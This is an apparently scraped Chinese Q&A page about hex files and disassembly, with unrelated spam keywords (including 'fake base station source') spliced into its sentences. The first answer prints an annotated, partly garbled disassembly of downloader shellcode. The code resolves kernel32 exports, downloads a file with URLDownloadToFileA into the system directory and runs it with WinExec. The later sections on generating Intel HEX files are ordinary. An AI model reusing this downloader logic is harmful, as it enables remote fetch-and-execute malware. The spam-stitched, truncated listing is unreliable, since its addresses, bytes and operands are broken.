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【网红头像制作源码在哪里】【数转换源码】【桂林棋牌源码】hex 源码

来源:怎么阅读jvm源码 发表时间:2024-12-29 05:51:48

1.hex文件怎么打开?十六进制代码怎么看?
2.汇编源代码用什么工具生成HEX文件
3.hex文件怎么生成的
4.visual studio2022怎么编译hex文件?

hex 源码

hex文件怎么打开?十六进制代码怎么看?

       文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

       1、网红头像制作源码在哪里文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、数转换源码IDA,Linux平台使用最多的是GDB和Linux版的IDA。

       OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

        在Windows平台,特别是x平台,最好用的桂林棋牌源码反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

       2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

       拿到这样的十六进制代码,一般来说,先将其生成二进制文件,开奖借口源码然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

       将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的伪基站源码一段十六进制代码注释如下:

       4AD    5A                     pop     edx                                           ; 函数返回的地址保存到edx中

       4AD    :A1          mov     eax, dword ptr fs:[]                        ; 取peb

       4AD    8B 0C                mov     eax, dword ptr [eax+C]                        ; peb_link

       4ADB    8B 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi

       4ADE    AD                     lods    dword ptr [esi]                               ; [esi]->eax + 8的位置即kernel.dll的地址

       4ADF    8B                 mov     eax, dword ptr [eax+8]                        ; eax=kernel.dll的地址

       4AD    8BD8                   mov     ebx, eax                                      ; ebx=kernel.dll的基址

       4AD    8B 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移

       4AD    8BE               mov     esi, dword ptr [esi+ebx+]                   ; esi为kernel.dll导出表的偏移

       4ADB    F3                   add     esi, ebx                                      ; esi = kernel.dll导出表的虚拟地址

       4ADD    8B7E                 mov     edi, dword ptr [esi+]                       ; edi=ent的偏移地址

       4AD    FB                   add     edi, ebx                                      ; edi = ent的虚拟地址

       4AD    8B4E                 mov     ecx, dword ptr [esi+]                       ; ecx = kernel.dll导出地址的个数

       4AD    ED                   xor     ebp, ebp                                      ; ebp=0

       4AD                         push    esi                                           ; 保存导出表虚拟地址

       4AD                         push    edi                                           ; 保存ent虚拟地址

       4AD                         push    ecx                                           ; 保存计数

       4ADA    8B3F                   mov     edi, dword ptr [edi]

       4ADC    FB                   add     edi, ebx                                      ; 定位ent中的函数名

       4ADE    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

       4AD    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数

       4AD                         pop     ecx                                           ; 设置循环次数为 0xe

       4AD    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

       4AD                       je      short 4ADF                                ; 如果ENT中的函数名为GetProcAddress跳走

       4AD                         pop     ecx                                           ; 不相等则将导出地址数出栈

       4AD    5F                     pop     edi                                           ; ent虚拟地址出栈

       4AD    C7                 add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节

       4ADC                         inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数

       4ADD  ^ E2 E9                  loopd   short 4AD                                ; 循环查询

       4ADF                         pop     ecx

       4AD    5F                     pop     edi

       4AD    5E                     pop     esi

       4AD    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx

       4AD    8B                 mov     eax, dword ptr [esi+]                       ; esi+0x Ordinal序号表偏移地址

       4AD    C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址

       4AD    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

       4ADB    C1                   add     eax, ecx

       4ADD    C9                   xor     ecx, ecx                                      ; ecx=0

       4ADF    :8B                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号

       4AD    8B 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel.dll的EAT的偏移地址

       4AD >  C3                   add     eax, ebx                                      ; eax = kernel.dll的eat虚拟地址

       4AD    C1E1                 shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值

       4ADA    C1                   add     eax, ecx

       4ADC    8B                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

       4ADE    C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址

       4AD    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi

       4AD    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址

       4AD    C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址

       4AD    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址

       4AD    6A                   push    4

       4ADB                         pop     ecx                                           ; ecx=4

       有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

       4ADC    E8             call    4ADE1                                      ; 设置IAT 得到4个函数的地址

       4AD    C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能

       4AD                         push    edx

       4AD                         push    esi                                           ; urlmon

       4AD    FF FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmon.dll

       4AD    5A                     pop     edx                                           ; edx = GetProcAddress的地址

       4ADA    8BD8                   mov     ebx, eax

       4ADC    6A                   push    1

       4ADE                         pop     ecx

       4ADF    E8 3D            call    4ADE1                                      ; 再次设置 IAT 得到URLDownLoadToFileA

       4ADA4    C6                 add     esi,                                        ; esi指向URLDownLoadToFileA的末地址

       4ADA7                         push    esi

       4ADA8                         inc     esi

       4ADA9    E                 cmp     byte ptr [esi],                             ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束

       4ADAC  ^  FA                  jnz     short 4ADA8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x

       4ADAE                     xor     byte ptr [esi], 

       4ADB1    5E                     pop     esi

       4ADB2    EC                 sub     esp,                                        ; 开辟  byte栈空间

       4ADB5 >  8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针

       4ADB7    6A                   push    

       4ADB9                         push    ebx

       4ADBA    FF EC                call    dword ptr [edi-]                            ; 调用GetSystemDirectoryA得到系统目录

       4ADBD    C 5CE        mov     dword ptr [ebx+eax], EC                 ; ebx+0x 系统路径占 0x个字节

       4ADC4    C       mov     dword ptr [ebx+eax+4],                    ; 拼接下载后的文件路径%systemroot%\system\a.exe

       4ADCC    C0                   xor     eax, eax

       4ADCE                         push    eax

       4ADCF                         push    eax

       4ADD0                         push    ebx

       4ADD1                         push    esi

       4ADD2                         push    eax

       4ADD3 >  FF FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为a.exe

       4ADD6    8BDC                   mov     ebx, esp

       4ADD8                         push    eax

       4ADD9                         push    ebx

       4ADDA    FF F0                call    dword ptr [edi-]                            ; WinExec执行代码

       4ADDD                         push    eax

       4ADDE    FF F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

       接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

       使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

       通过这个实例 ,相信应该能理解一个大致的流程啦。

汇编源代码用什么工具生成HEX文件

       有反汇编工具

       用mplab:file--import,导入.hex文件,然后:view--disassembly

       listing,就可以显示asm文件了;或者用专门的反汇编软件.

       不过出来的东西可能不是你所希望的。

hex文件怎么生成的

       Hex文件通常是通过编译器或汇编器将源代码(如C/C++、汇编语言等)编译后生成的二进制文件,再经过格式转换工具(如objcopy、hexdump等)转换成Hex格式的文件。

       Hex文件,也称为Intel Hex文件或简称为Hex,是一种文件格式,常用于表示二进制数据,特别是在微控制器和固件开发领域。它以文本形式存储二进制信息,使得开发者可以方便地查看、编辑和传输这些数据。

       生成Hex文件的过程通常涉及几个步骤。首先,开发者会编写源代码,这些代码可能是用C、C++、汇编语言或其他编程语言编写的。接着,他们会使用相应的编译器或汇编器将这些源代码编译成机器码,也就是二进制代码。编译器或汇编器会生成一个或多个目标文件,这些文件通常具有特定的格式(如ELF、COFF等),并包含可在特定硬件平台上执行的机器指令。

       然后,为了将这些目标文件转换成Hex格式,开发者会使用专门的工具,如GNU Binutils中的objcopy或hexdump等。这些工具能够读取目标文件中的二进制数据,并将其转换成Hex格式。Hex格式是一种文本格式,它以一系列以冒号开头的行表示数据,每行包含一定数量的十六进制数字,这些数字代表了原始二进制数据。

       举个例子,假设我们有一个用C语言编写的简单程序,该程序控制一个LED灯的闪烁。我们首先使用C编译器(如GCC)将源代码编译成一个ELF格式的目标文件。然后,我们使用objcopy工具将该ELF文件转换成Hex文件。最后得到的Hex文件就可以被烧录到微控制器的闪存中,从而控制LED灯的闪烁行为。

       总的来说,Hex文件的生成是嵌入式系统开发过程中的一个重要环节,它使得开发者能够将复杂的机器码以易于管理和传输的形式表示出来,从而简化了固件的开发和部署过程。

visual studio怎么编译hex文件?

       Microsoft Visual Studio 主要用于编写和编译各种语言的源代码,比如 C, C++, C#, Visual Basic等,生成的是可执行文件(exe)或者库文件(dll),而不是直接生成HEX文件。

       然而,如果你正在使用Visual Studio来开发嵌入式系统或微控制器应用,并且需要生成HEX文件,那么你可能需要依赖特定的编译器或工具链,比如GCC ARM,Keil,IAR等。这些工具链可以配置为生成HEX文件,具体的配置方式取决于所使用的工具链。

       对于Visual Studio来说,生成HEX文件的步骤可能包括:

       编写源代码

       配置项目以使用正确的编译器/工具链

       在编译器/工具链设置中指定生成HEX文件

       构建项目

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